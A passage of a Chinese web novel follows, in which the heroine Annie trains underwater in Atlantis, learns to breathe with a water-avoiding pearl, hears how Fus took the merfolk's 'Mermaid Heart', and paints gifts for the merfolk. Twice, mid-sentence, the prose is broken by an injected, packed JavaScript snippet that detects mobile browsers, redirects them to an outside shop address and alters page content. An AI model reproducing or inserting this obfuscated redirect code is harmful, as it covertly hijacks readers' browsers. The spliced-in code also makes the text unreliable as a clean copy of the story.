和无妄森林河流里的小鱼们相比,这些怪物简直堪称夺命杀手。 怪不得全都能在海底横行霸道。 安妮把又一条战利品放在比格毛丝嘴里,擦了擦不存在的汗。 唯一让人欣慰的就是打了这么久,她也算海洋一霸了——靠着比格毛丝吓人的体型。 真遇到什么太厉害的鲸鱼,还是要靠比格毛丝把它们吓跑。 “安妮,你抓这些鱼干什么?之前的鲨鱼更大呀。” 比格毛丝说的是安妮放走的鲨鱼。她的力量很大,完全可以用三叉戟将对手一击毙命,但她放走了那条白鲨。 “不需要,我只是练习而已。” 杀了也带不走,那条鲨鱼太大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119513|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “呵呵,我真是越来越不像法师了。” 安妮看着堆积成小山的死鱼无奈一笑。 过去谁要是告诉她,法师也可以一拳捶扁鲨鱼的脑袋,她肯定嗤之以鼻。但现在,这个法师就是她自己。 当然,她也不会忘记,就在六年前,她还是个只能靠殊死一搏咬断浣熊脖子的弱者。 “走吧,我们先回去。” 安妮坐在比格毛丝的嘴里,这一次已经没有力气保持戒备了,但她很安心。 比格毛丝真的是灵体,在征得他的同意后,安妮往他的肚子深处走了走,那里空无一物,只在腹部中心存在一颗洁白的珠子。 那颗珍珠很小,就像人的眼珠。但是它很明亮、很晶莹、很圆润。它散发出的光芒直直照进人的内心,好像可以看到澄澈的海洋,感觉到温柔的海风。它静静悬浮在那里,一动不动,似乎过了千百年。 安妮只是站在那里,就感觉到一片祥和。沉静、温软,好像里面装着一个充满云朵的天堂。但是那样清冷的光芒又显得不近人情,如同高岭之花,如同……神的眼泪。 安妮被吸引,情不自禁地靠近,但只停在了三米外。 大概是察觉到她没有恶意,珠子只是竖起结界,没有其他的动作。安妮也不再尝试走近,虔诚地鞠了一躬,慢慢离开。 有一瞬间,她联想到了那个比清风纯净的人。 回到熟悉的地方,章鱼还没有离开。安妮让比格毛丝先在旁边等待,接着握紧三叉戟,再次靠近。 她挥舞着带血的三叉戟,朝着珊瑚刺去,章鱼有所觉,知道她这次是带着敌意来的,立刻伸出触手接招。 章鱼的动作很快,触手之前隐藏在珊瑚海草里,幸好安妮早有防备。她调转方向,把三叉戟往回收,同时左手用力扔出藏起的石头。章鱼伸出其他触手防御,安妮于是将收回的三叉戟斜刺旋转一圈,直接把章鱼横劈了出来。 她要的是堂堂正正地打一架,可不能让章鱼跑了。 面前的章鱼虽然被安妮打出了珊瑚,却还是不肯松开仅剩的几只黏住砂石的触手。安妮才看见它之前盘踞的地方被各种植物覆盖住,下方隐隐约约透着白光。 是蛋。 章鱼的眼睛似乎被尖锐的物体戳瞎了,有几只触手和珊瑚并不是一个颜色。 但是比格毛丝说它休息了几天了,应该不会有事。 安妮盘算了一会儿,还是主动伸出三叉戟,朝着巨大的章鱼刺去。 陆地上的技巧都不实用了,她用其他鱼类练手,有毒的带刺的极速的都遇到过,如今只差这种软体动物了。 章鱼在水下真的很灵活,每一次攻击,它总是能通过一个诡异的角度躲过。即使安妮戳中,它也会借助水流的力量后退缓冲,接着用吸盘粘住武器反击。 安妮就像在应对一团坚韧的棉花。 弱点是眼睛,很明显,但它大概是受过伤有了教训,十分注意保护自己的另一只眼睛。 八只触手能攻能防,柔软的身体还能借力打力,这样下去消耗的只会是她的体力…… 要速战速决。 安妮的思维急速运转,不断观察,终于发现,这只章鱼似乎是个……左撇子。 不管是受伤影响还是习惯使然,总之,它喜欢动右边,左边更注重防守。安妮于是虚晃一招,卖了一个破绽,章鱼立刻伸出左边的几个触手攻击,安妮趁机旋身,穿过杂乱的触手对准章鱼的右眼。 …… 预想中的致命一击并没有出现。 章鱼的触手慌张地挥动着,致命的三叉戟竟在这绵软的力道中退开。 安妮收回武器,面前的章鱼警惕地退开,重新摆好防御的姿态。安妮只是看着它,大声呼喊道:“比格毛丝,过来吧。” 她吸取了很久以前的教训,可不敢再背对手下败将了。 比格毛丝游过来,张开嘴。安妮用三叉戟挑起一条条死鱼,甩给章鱼。 章鱼很不解,担心安妮偷袭,并没有立刻去捡拾东西。安妮也不着急,慢条斯理扔完所有食物,就游进了比格毛丝的嘴里。 “累了吗?咱们去休息吧。” “好的,安妮。” 比格毛丝躺回那个坑,安妮从他张开的嘴里看见章鱼已经开始搬运鱼的尸体。 “安妮,为什么你要打她,又给她那么多猎物?” “嗯……等价交换吧,它被我拉来打架,我给它陪练的报酬。之后它也不会因为受伤觅食死亡了。” “安妮你真好。” “也许吧……” 安妮耸肩,回忆着和章鱼对抗的细节。 这是一种很新奇的体验,武器就在自己手里,却随时有脱离的风险,明明想要掌握一切,却连近在咫尺的东西都把握不住。这样的感觉让她不自觉地想起冰灵力被天道打散的瞬间,也是那么无力,那么令人绝望。 水和梦想之间真的有什么联系吗? 安妮忽然觉得,应该是有的。 并且,她这样是体会不到的。 “比格毛丝,你知道那些不会游泳的人要怎样才能潜水吗?——除了避水咒。” 基兰爷爷给的避水咒确实很有用,有用到,她感知不到水的存在。 当初差点被金克丝淹死的体验,比现在强烈百倍。 “有的,女王陛下的水晶宫里有很多避水珠,含在嘴里就可以在水下呼吸了。” “那……我们休息一晚上,就回去吧。” “回去?安妮已经想到自己的梦想了吗?” “也不是……” 安妮才想起来比格毛丝似乎答应了欧提特,要把她扔在外面。但是她也答应了伊卡思女王,每天都要去跟她交流外界的信息…… 安妮正在纠结,比格毛丝已经善解人意地帮她做了决定。 “没关系的,安妮,如果你是需要什么帮助的话,女王陛下一定很乐意伸出援手。” 安妮不由自主地点了点头:是的,伊卡思真的很温柔——只希望她知道自己的梦想后,也一样温柔。 安妮感觉有点困倦,海底没有时间,她就直接在比格毛丝的嘴里睡了过去。 温暖的舌头让她仿佛回到了希望之森的草地,虽然周围黑了好几个度,但静谧祥和从未消失。 46. 46 安妮没想到,这次一回来就碰到了欧提特。 而且她好像是特意等在那里的——因为据安妮所知,这个海洋守护者总是很忙,根本没空出现在亚特兰蒂斯的入口边缘。 事实也果真如此,欧提特一看见安妮就叉腰皱眉,噘嘴道:“女王陛下叫我来接你。” “额……谢谢?” 安妮只能小心翼翼地回答。 伊卡思女王能感知到亚特兰蒂斯传送阵附近的波动,而那里又是进入亚特兰蒂斯的必经之路,她回来被探查到也很正常。 “说吧,这次来是要干什么?” “也没什么,就是想借用一下你们的避水珠。” “避水珠?” 欧提特从头到尾打量着安妮,那眼神似乎要把她看穿。 安妮不太理解她到底在看什么。 “你不是有那个什么基兰的避水咒吗?要避水珠干什么?” “我只是觉得,‘梦想本源’既然是水系本源,那应该和水有关。避水咒很有用,但是我感知不到水,所以我想试试避水珠……” 这种说法欧提特还是第一次听见,不过她作为出生在海底的小鱼人,对水本来就很亲近,自然不会往这方面想。安妮这个陆地生物这么思考,也没什么问题。 “你真的要用避水珠吗?我先声明,避水咒和避水珠可不是只有一个字的差别,使用起来难度很大的。” “我知道,但我就是要体验这种不同啊。” “那行吧,你跟我来。” 欧提特抱着三叉戟带路。这次她走的路线和之前相差无几,虽然安妮只看过一遍,但也差不多记住了。 是前往雕像的路。 果然,安妮走了一会儿,就到了那座雕像面前。再次看到她,安妮仍旧很震撼,只是还没靠近,欧提特抓住了她的衣领。 “在这里站好,看到脚下的石头了吗?” 安妮低头,脚下确实有一块圆形石头。 “我待会儿会把它扩大形成领域,你就在里面练习,最中间相当于陆地,周围的水就是亚特兰蒂斯真实的环境。” “哦,好。” 欧提特将三叉戟对准石头,默念咒语。她悬浮在水中,耳朵飘起,蓝光闪现。不一会儿,安妮脚下的石头就破土而出,成长为一朵莲花。 石头形状的莲花,安妮站在中间,惊叹。 “看好了,中间最安全,多一层花瓣就加一级难度。” “这是避水珠,含在嘴里就行。你最好把它压在舌头下面,吞了我不好拿出来。” 安妮接过欧提特扔出的珠子,放在手心端详。 就像过去族人的孩子们收集的玻璃珠子一样,拇指头大小,透明状,只是内里漂浮着蓝色雾气。 这么小,确实容易被误食。 “在水里会感觉冰凉,但是不会威胁到安全。另外,不要盲目强硬地动作,要借力,顺其自然。” “嗯嗯!” 安妮一一记下,知道欧提特在善意地提醒。 她首先把珠子放在嘴里用舌头压好,然后伸出手,通过印记解除掉避水咒。 接着,安妮把手掌先伸出了安全区。 入手一片冰凉和湿润,与避水咒形成的防护完全不一样。安妮打了个寒战,把脚也放了进去。 鞋子进水了? 她有些意外。 “避水珠只能帮你在水下呼吸,又不能把衣服都隔绝,你待会儿进来,全身可就湿透了。” 原来会这样!安妮有些担忧,听说亚特兰蒂斯的海水十分特别,攻击性十足,她的衣服不会穿几天就没了吧? “女王陛下想得比你周到,你快点练习就行了,想那么多干什么?避水珠不能完全保护,但这么一小会儿还是没问题。” “嗯……那,那我把头伸进去了?” “你问我干嘛,伸啊!” 欧提特一副恨铁不成钢的样子。 大概是之前被金克丝按到差点溺死的经历太过吓人,也可能是亚特兰蒂斯太神秘恐怖,安妮有些不敢尝试。 她深吸一口气,然后闭着眼睛把头伸进了水里。 冰凉的感觉瞬间席卷全身,天灵盖上都窜过一丝凉气。窒息的感觉来得很快,海水好像源源不断地涌入了身体。 安妮瞬间感觉血液沸腾,立刻抽身。 她抹了把脸,面前是看起来清澈纯净的海水。 “呼……呼……” 安妮剧烈喘息着,肚子里却没有任何东西滑过,鼻孔里虽然还有点冰凉,但只是透气了许多。泥沙……泥沙也没有,嘴里干干净净的,只是牙齿还在颤抖。 “你怕水?” “没……也不是……好吧有点……” 安妮有些尴尬,明明之前自己还耀武扬威的,觉得离称霸海洋不远了。 “你就这么一头扎进去,自己吓自己,傻不傻?慢慢放松呼吸,海水会进入你的身体,但是避水珠会帮你吸收掉。” “原来是这样……” 难怪源大陆不缺避水珠,敢探索海洋的却有限,原来这东西使用起来并不是这么简单的。 不知道艾德文特会不会用。 “你能不能别胡思乱想了?怎么,就这么一会儿就被吓趴了?不敢继续了?” “当然不是!” 安妮再次大口吸气,只是这次听取了欧提特的建议,先慢慢放缓呼吸。她紧皱着眉头,强硬地逼迫自己冷静,慢……再慢…… 终于,安妮感觉第一股让她差点窒息的水流到了身体的某处后就消失不见了。 紧接着,第二股……第三股…… 虽然很冷,但是成功了! 安妮心中狂喜,立刻往前迈一步,把身体完全浸泡。 “啊……” 她忽然失去平衡,朝着石头上的花瓣倒去。很慢,但是她扑棱手脚也没有用,直到手掌触碰到更加冰冷的石头,她才借力站起来。 “咳咳……” 虽然没有呛水,但紧张的感觉让她有种自己溺水了的错觉。 这真是太刺激了。 “往前走点,你还没到亚特兰蒂斯。” “啊?” 安妮张嘴,虽然立刻闭上了,但还是感觉口腔里也涌进了海水。好在有避水珠…… 这种感觉很新奇,全身都被冰冰凉凉的果冻包围,肚子却还暖烘烘的。头皮好像被风吹着,但脑子里还热乎乎的。 “我说,你还没到亚特兰蒂斯,先别那么放松。” 这是说难度? 安妮尝试着把脚再往前伸了伸,立刻感觉到一股无形的压力。这压力从四面八方传来,就像棉花一样,移动的时候阻力好像就不见,但稍微卸力,立刻又充满阻碍。 同时,一种粘稠刺骨的液体让她本能地抗拒。 这还只是一只脚……安妮似乎体验到了传说中那个荒凉可怕的“亚特兰蒂斯”。 “那个,可以给点建议吗?” 她怕进去之后被压住。 欧提特斜了安妮一眼,沉默良久。就在安妮以为自己只有孤军奋战的时候,她突然开口:“就当压力不存在,给自己定下目标,就能毫无障碍地完成。比如游到哪里去,或者捡到什么东西。” 虽然听不太懂,但核心还是做好心里建设。 安妮把手也伸了进去,这次,手指间传来的压力更加明显,连闭合张开似乎都很困难。粘液……无形的黏液。 亚特兰蒂斯的水明明这么纯洁,怎么感觉是浆糊。 安妮这次仍旧选择一鼓作气地走进去。她立刻感觉好像被什么正在收缩的口袋裹住,从头顶传来的寒气即将化作利刃劈开她。 她立刻往后退,惊惧地瞪大了眼睛——第二级的海水竟给了她些许温暖。 是心里的温暖。 亚特兰蒂斯的海水就好像是什么信息,只要一接触,就能想象到它吞噬生命的深渊,隐藏在黑暗的巨兽,以及尸骨无存的干净海底…… 但是放眼望去,还是那么纯净。 安妮忽然觉得娇小的欧提特变得吓人了不少。 “别用那种眼神看着我,害怕了就赶紧滚,正好可以不用让女王陛下关注你了。” “我不会离开的,至少现在不会!” 安妮握拳,再次游进去。 沉重的压力似乎要把她砸进地里,但事实是她好端端地站在原地——或者说,飘。安妮才知道原来在亚特兰蒂斯上空游泳其实也是耗费体力的事情。 她就僵硬地站在原地,往后一步就是普通的海水。安妮想往前游动,才知道欧提特所说的“定目标”、“毫无阻力”有多难。 没有借力的地方,她连石头的花瓣都触碰不到。 安妮纠结了一下,还是张开了嘴。好在含着避水珠也是可以说话的,只是没有那么清晰。 “我要怎么做?” “你觉得任何时候都会有人告诉你怎么做吗?” 安妮愣住了。 确实不会。 她太依赖面前的小鱼人了。 “如果我是你,我会默不作声地自己训练。如果控制自己的身体都做不到,还谈什么梦想?” 是啊,她的最终目标是感知和收服“梦想本源”呢,可是如今连在海底行动都需要帮助。 安妮闭嘴,开始自行探索。 她确实可以拼尽全力挪动,但很快就会疲惫,这样做速度也很慢。安妮尝试了一下静心感知,水里似乎真的多了些流动的箭头,告诉她哪里是顺水,哪里是逆流。 这个速度很快,一旁的欧提特虽然表情不变,但也有些惊讶。 安妮的悟性其实挺高的。 就在安妮在空中做了个完美的三百六十度转体后,那朵石头花突然开始收缩,直到变回原来的模样,深埋在地里。 “我成功了?” 安妮惊喜地问。 “对,三个小时,还算天赋异禀。” “熟能生巧罢了。” 安妮不好意思地挠挠头。 “等等,衣服来了。” 欧提特突然往回游,从不远处刚到的人鱼手里接过一套裙子。 “暂时借给你,把你身上的换下来吧。” “谢谢……” 安妮欣喜地接过。 这是一套很有特色的衣服,似乎是海里的大叶子缝制的,布料摸起来很粗糙,但是穿的那面十分柔顺。设计简单,配套的鞋子露出脚趾,看起来像是夏天的凉鞋。 但不得不说这样穿十分轻便,安妮没有了凉水灌进鞋子的不适。 “我可以去见见伊卡思女王吗?之前还答应了她每天去汇报消息的。” “去去去。” 欧提特不耐烦地挥手,把安妮带到水晶宫就离开了。 伊卡思仍旧坐在王座上,但这一次等侍卫离开,就游了下来。安妮还是第一次近距离观察到她,即使靠近了看,伊卡思的肌肤仍旧白皙滑嫩,眼神中充满温柔。 “恭喜你,成功通过了考验。” “考验?” “普通的避水珠是无法在亚特兰蒂斯生效的,只有人鱼女王留下的可以。而你,是第一个得到人鱼女王认可的人。” “啊?是吗?” 这还是安妮第一次产生“自己很特殊”的感觉。 伊卡思欣慰地笑着:“看来欧提特没有理由叫比格毛丝把你带远了。” “其实我还要谢谢她呢……” 虽然嘴上一直嚷嚷着把她赶走,但哪次不是在她需要帮助的时候伸出援手? “她啊……她是想热情好客的,但是亚特兰蒂斯最忌讳的就是热情好客。”伊卡思深深叹了口气,“她还没有跟你说过她收服‘梦想本源’的经过吧?” “不是那个人鱼女王的雕像吗?” “是,但也不完全是。” “或许让她自己讲述能更让你感同身受些。” 伊卡思再次叹了口气,望着安妮的眼神慈爱而怜悯,似乎透过她在看另一个人。 “你们那个时候好像是差不多的年纪。” 是说欧提特收服“梦想本源”的年龄吗?那还真够久的。 “欧提特,带安妮去‘誓言之石’看看吧。” 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安妮懵懵懂懂地点头。 “哦,差点忘了,你看不懂我们的文字。”欧提特说完指着一个个符号念,“深海守护者欧提特在此立誓,永远守护亚特兰蒂斯的和平。” 一个个对应上去,安妮尝试记住这些文字。 “亚特兰蒂斯的深海文字现在只有鲛人族还在使用了,你不用记下来。” “习惯了……” 只要有机会学习,她都会下意识抓住机会。 “你不是好奇为什么我们自称鲛人族吗?” 见欧提特主动提出这个话题,安妮有些紧张。她还记得上次小鱼人生气的模样,虽然没有立刻要打一架泄愤的意思,但总感觉……说不上来…… “你别紧张,这其实都是我自己的问题。” 欧提特这么说,安妮更疑惑了。 “怪我没守护好人鱼族,才导致亚特兰蒂斯变成今天的模样,和你们没关系……” 欧提特小声呢喃,自责的情绪让安妮不安起来。 欧提特的耳朵耷拉着,诉说主人的失落。 “弗斯你知道吗?还有‘诸神之战’?” “知道一点……” “那亚特兰蒂斯当年没有参加‘诸神之战’,你知道吧?” “知道!” 树爷爷当初说过,避战的群体不多,他率领消失的希望之森是一个,保持中立的亚特兰蒂斯也是一个。 “难道没参加‘诸神之战’,还有什么坏处?” 树爷爷说要不是他选择避战,希望之森恐怕都不复存在了。亚特兰蒂斯远离了这场世纪大战是好事啊。 “呵,没加入那场战争,当然没坏处。”欧提特嘲讽一笑,“但是弗斯他秋后算账。” 秋后算账? “亚特兰蒂斯一直保持中立,直到战争结束。女王本来已经决定派出人鱼们帮忙复兴沿海的经济,但是弗斯一百年后上了门——带着他精心培养的军队。” “他要干什么?” 安妮轻声询问,却好像已经知道了答案。 “他没有伤害我们,不过,作为袖手旁观的代价,人鱼女王被迫献出了‘人鱼之心’。‘人鱼之心’不是她自己的心,而是关系到人鱼族存亡的比神器更加重要的东西。失去了‘人鱼之心’后,人鱼女王陨落,灵魂附身在了女神像上。” “怎么会?” 安妮被这个消息震惊得无以复加。 她一直以为,弗斯是一个智勇双全,怜悯众生的人,但他竟然会…… “人都是会变的。他提出这个要求的时候,战争已经结束百年。这百年里,我不知道他到底经历了什么,但总之,他从解救万民于水火的英雄变成了无利不往的卑鄙小人。” 无利不往……安妮忽然联想到了加丁。 但弗斯不是的! “有没有可能,他是需要‘人鱼之心’复兴城镇?” “长达十年的‘诸神之战’他都打赢了,一百年的艰难时光他都挺过去了,你觉得他还急需什么帮助吗?如果有,那一定是需要什么维持他的统治。” 安妮静默了。 “不要太天真了,安妮。” 欧提特的眼神深邃,这是安妮第一次感觉,她和矮自己一点的小鱼人相差几百岁。 “其实,也不怪你。当初的我,又能比你成熟多少呢?” 欧提特自嘲。 安妮记得她那个时候和自己一样小,也就是二十几岁的年纪。 “我太弱小了,那时的我和所有人鱼一样喊着守护亚特兰蒂斯的口号。但是目睹弗斯所做的一切,我甚至无法和他平起平坐地谈判。在他离开后,我就刻下了誓言,但很可惜,失去了人鱼女王的我们血统很快开始消失。” “伊卡思是逝去的人鱼女王钦点的继任女王,她的法杖还能维持亚特兰蒂斯的运行,但是力量只会用一点少一点。再过几千年,亚特兰蒂斯的鲛人族大概也不复存在了。” 几千年看似很长,但在人鱼们漫长的岁月里根本不算什么。 或者说……该叫他们鲛人了。 “这是我们的秘密,之所以和你说,是因为我们相信你不会透露。当然,在我看来,弗斯就算死了威望也还在,你说了也没人信。当初我能得到‘梦想本源’,就是在‘誓言之石’上刻下誓言后。” “我知道你的梦想肯定不是守护亚特兰蒂斯,但当你的欲望强烈到无法抑制,却被极度压抑时,一定能感受到对力量的渴望。” 欧提特说得轻松,但安妮已经能想到她当初满腔的愤懑。 “好了,说了这么多,你可以滚了。虽然熟悉了在亚特兰蒂斯的行动,但你最好再生活几天适应适应,我不希望过几天还看见你跟个木头人一样直着手脚游动。女王那里你也不用去了,我们不需要知道太多外界的情况。” “好的……谢谢。” 安妮诚恳地道了谢,在欧提特落寞的背影下离开。 47. 47 提升熟练度的最佳方法除了打架,就是干活。 也许是欧提特的建议给了她启发,也可能是穆迪傲娇又友好的邀请让她感到满足,安妮在亚特兰蒂斯充当了一个多月的苦力。 这里的鲛人们娱乐的方式很古老,不用为衣食住行担忧,每天只需要搞搞卫生,教导孩子。 但是鲛人幼崽真的少得可怜。 每当穆迪描述起亚特兰蒂斯过去的盛况,安妮总是一阵心酸。 她不明白为什么希望所有人安居乐业的弗斯为什么会一手把人鱼族推进深渊,眼睁睁看着他们的环境越发狭窄恶劣,人数锐减,资源断层…… 还是一开始就是她想错了,弗斯根本不是这样的? 但如果不是,他又怎么能领导那么多能人异士反抗黑暗…… “你在找游行时的路灯吗?因为没有了活动,我们都摘掉了。节约能源,也免得触景生情吧。” 亚特兰蒂斯的人鱼们喜欢音乐和舞蹈,每到自己的节日都会庆祝一番,街上穿着各异的人鱼舞动着漂亮的尾巴,五彩斑斓的照明灯一直亮到第二天。 可是如今他们都是青蓝色鱼尾,好像要和这冰冷的海水融为一体。 安妮很想做点什么,但就算把街道打扮成原来的样子,他们也只会感到悲哀吧。 她忽然想到了什么。 一个月的时间,她已经摸清了鲛人们的活动范围,那就可以…… “穆迪,你们这里有水彩吗?” “水彩?你要做什么?” “我想画画。” 人鱼们的兴趣爱好各式各样,当初还专门研究了能在水底长久保存的布料纸张和颜料,可惜已经很久没人鱼用了。 穆迪从箱子里拿了一些出来。 她曾经可是派对女神,那双清冷的眼睛里也盛满过星辰。尤其是自创的水墨舞,不知道俘获了多少人鱼的心。 可惜这些安妮都只有想象了。 “时间差不多了,我去找比格毛丝玩了,可以把这些带走吗?” “当然可以,我也用不到了。” 穆迪把仅有的画笔一股脑塞给了安妮。 她这一个月可谓极其充实,不仅和一些人鱼做了朋友,还克服了自己的巨物恐惧症。如今,她已经能坦然地在比格毛丝嘴里练武了。 比格毛丝看见安妮走来,立刻熟练地张开嘴,放好小灯。 “安妮,你手里拿的是颜料吗?” “你怎么知道?” 比格毛丝总不能画画。 “穆迪以前就爱在比格毛丝身上画画,比格毛丝带着颜料游,他们还会夹道欢迎比格毛丝,给比格毛丝签名。” 全民狂欢原来还包括比格毛丝…… “我也准备画画,比格毛丝你知道鲛人们喜欢什么吗?” “有的喜欢水晶,有的喜欢珍珠,穆迪最喜欢山水画了……” 安妮听着比格毛丝的描述,斟酌后下笔。她的绘画天赋并不好,但幼稚得可爱,相信鲛人们不会介意的。 安妮一般早上和鲛人们玩耍,下午就去找比格毛丝,困了睡一觉,接着出去浪。一开始鲛人们还有点拘谨,但安妮十分主动地揽下了很多工作。 深海的时间都是大摆钟提示的,早上八点、中午十二点、下午六点和晚上十点各敲响一次,鲛人们基本都是这个作息。安妮等到十点的钟声结束半个小时,就拿着自己厚厚的一叠纸张游了出去。 她沿着街道找角落,那些墙壁的缝隙,花朵的顶部,或者路灯边的石头下面,都可以摆放。 安妮用几个小时画画,又花了几个小时把作品散播到了亚特兰蒂斯的各个角落。 如果是之前的亚特兰蒂斯,肯定很难完成,但现如今鲛人们的居住区越来越小,她一晚上竟然全部游走完了。 揉了揉惺忪的睡眼,安妮伸了个懒腰。她循着记忆返回,把最后一张纸塞到了穆迪的门缝下面。 这个派对女神经常熬夜失眠,最好还是晚点放。 随着最后一幅画溜进穆迪的门缝,安妮终于出了亚特兰蒂斯。比格毛丝已经睡着了,但仍然把灯放在外面,照亮她前进的路。 安妮轻轻游到比格毛丝身边,坐下,睡觉。 亚特兰蒂斯外面不会出现其他生物,她可以安心睡觉。 只是还没休息几个小时,钟声再次响起。 安妮这一个月想睡就睡,因此熬了一晚上也不累。她很想看看自己的成果,于是把颜料纸张放在了比格毛丝的嘴里,告别他去找穆迪。 穆迪住在亚特兰蒂斯最边缘,就是为了方便和比格毛丝见面。 她此刻正坐在石凳上,撑着下巴端详手里的东西。 含着避水珠之后,安妮的动作不如之前麻利,大老远就被穆迪感知到了波动。她侧过头,晃了晃手里的纸张。 “你画的?” “怎么样?好看吗?” 安妮画的是穆迪跳水墨舞时最难的动作:空中转体,形成弧线。她凹凸有致的身材和柔韧协调的肢体能在这个动作里展现得淋漓尽致,穆迪给她说过好多次。 “还不错,就是屁股要再翘一点,我的尾巴扇那个时候很大的。” “那我待会儿再去改一改!” “别,万一改砸了怎么办?这样就可以了。” “没关系,改砸了我再给你画一张。” “那不一样,反正这张是我的了,才不给你瞎改。” 穆迪收回画作,进屋准备把它裱起来。 安妮失笑。 她的视线忽然穿过穆迪的房屋,定格在远处的另一个鲛人身上。她昨晚藏的画有的很隐蔽,有的就在每天的必看之处。果然,那人鱼从凳子下面捡到一张白色的画,开始观看。 安妮绘画的内容其实很简单,毕竟要完成那么多。有的画是形态各异的珍珠水晶,有的画展现了陆地上的某些游戏,还有的画上印着一只婀娜美丽、精心打扮过的人鱼。 看见人鱼把画布珍而重之地折叠好,放在挎着的背包里,安妮满意地笑了。 “你的杰作?” 穆迪出来,就看见安妮在傻笑。 她顺着安妮的视线看过去,人鱼的动作还没完成,手里的画布和她拿到的如出一辙。 “希望你们会喜欢。” “没想到你还挺有情趣的。”穆迪调侃,“你给伊卡思女王和欧提特准备没有?” “我也想啊,但是水晶宫附近不得进入。” “你傻啊,悄悄溜进去给行不通,那就献礼呗。人鱼女王看见你的礼物,一定会很高兴的。” “那我试试……” 安妮当然想给伊卡思和欧提特送礼物,没有她们的帮助,自己不可能轻易得到这么特殊的避水珠,还和人鱼们分享维持自己生命的灵珠。 如今过去了一个月,她能流畅地控制手臂在纸上作画,还全靠欧提特的建议。 “其实礼物什么的也不急,你就四个月,还是先收服‘梦想本源’要紧。昨天你已经学会鲤鱼跃龙门的动作了,想来在水里自由活动已经不是难事,打架也能舒展动作了。” “确实,我会注意的,谢谢。” 穆迪身为舞王,对身体的掌握有着独到的见解,安妮在她那里也得到了不少启发。 “安妮,这是你画的吗?” 之前那条人鱼突然游过来。 估计是察觉到了她们的视线。 “希望你喜欢。” “噢,孩子,我当然喜欢,这上面的人鱼像极了我年轻时候的样子。” “这是我按照穆迪的描述画的,她说那个时候的你很美。” “谢谢,我会把它收藏起来的,我已经很久没有收到过礼物了。” “没事没事……” 安妮有些小窃喜,但更多的是心疼。 沉寂的亚特兰蒂斯太需要一点惊喜了。 “你的任务完成了吗?和穆迪学习得怎么样了?” “进展很快,安妮很聪明。”穆迪笑着揽过老友的肩膀,“我今天早上可以和你下棋了。” “等你好久了,那就赶紧的吧!安妮一起吗?” “不了,我还有点事。” “那有空来坐。” 鲛人说完和穆迪走向自己的房子。 安妮看着两人相携而去,有种不真实的感觉。她总觉得自己好像一个在观看老式录像带的观众。 大概是这里的颜色太单调了吧。 安妮并不知道怎么感知“梦想本源”,也许欧提特已经说清楚了,但是她猛然发现,自己一直追求的好像不是梦想。 是啊,谁会希望自己的一生为了复仇而存在。 但倘若梦想不是这个,又会是什么呢? 她竟然会因为看见鲛人们发现自己的画作感到惊喜而满足——但这不是她的梦想。 欧提特是那么笃定,她也笃定,自己的梦想不可能是守护亚特兰蒂斯一辈子。 唉,之前好歹有点头绪,但面对“梦想本源”,安妮一点切入口也没有。她还以为自己学会使用避水珠后已经迈开了第一步。 “安妮!” 安妮回神,是欧提特。 她竟然不知不觉间游到了水晶宫附近。是太想念了吗? 安妮确实好久没见到过两人了。自从决定先去体验生活后,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119515|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就和穆迪不断练习各种活动方式,见居民的次数比见她们还多。 “发什么呆?我有事跟你说。”欧提特一如既往地强势,“这里不方便,跟我走吧。” 安妮只能跟着欧提特,一路上景色变换,但她再熟悉不过了。 到达女神像面前,安妮正打算洗耳恭听,欧提特转身了。 “诶,你不是有话说吗?” “我……我说完了,你呆在这里慢慢想吧。” “啊?” 欧提特什么也没说啊? “哎呀,榆木脑袋!你在这里呆着就是了,自己好好思考。” “那我多久可以离开?” “该离开自然知道离开,你以为我想把你丢在这里啊?” 欧提特嘟囔了一句,头也不回地走了。 安妮眨了眨迷茫的眼睛,只能暂时坐在女神像的右边。 她之前也这样静坐过,和金克丝在一起的时候,和小小妮小小木在一起的时候,还有和比格毛丝在一起的时候。 虽然思考的东西不同,但安妮起码知道了一个道理:瞎想是没有用的。 可是欧提特又让她在这里坐着…… 安妮有些无聊,开始思考自己接下来能干什么。 再画点画吧,也不知道那些藏在暗处的图画够不够隐蔽,等鲛人们找得差不多了,她再悄悄画一点。 这种不经意的小惊喜虽然比不上盛大的活动,但也可以让他们稍微展颜。 安妮自娱自乐,打发时间。不知道过了多久,她打了个哈欠。 视野越来越模糊,安妮好像进入了一个不由自己控制的世界。 不,是身体。 安妮进入了一个不受自己控制的身体,或者说没有身体。 她好像变成了海水,或者是泡沫。总之,她想要清醒过来,但好像附着在了海洋里,成为了它的一份子。 周围的涌动如此轻微,但安妮只能随波逐流。 她想控制自己。 安妮看不见自己,她好像低头了,但入目是一片蓝色。这样的感觉很奇妙,安妮甚至以为自己隐身了。 她再次试着前进,看见的还是一片湛蓝。很快,她又跌下去,却没有失重的感觉。 这是每个动作都被安排好的感觉。 她想挣脱,意识终于碰到了一点东西。像一个气球在脑海里炸开,她的眼前,逐渐出现一个个模糊的身影。 永远温柔的凯德阿姨佝偻着脊背,善良热情的阿狸在缝补什么,记忆中知性和善的菲缇静静站着,还有那晚和她坐在一起看星星的老人…… 一滴泪悄无声息地划过,安妮好像在往后退。冰凉的触感在背后炸开,她耳边突然响起巫阿婆的谆谆教诲,金克丝自信张扬的爽朗笑声,还有崔丝塔娜鼓励她继续向前走,小小妮小小木天真的话语…… 这是哪里?充满记忆的海洋吗? 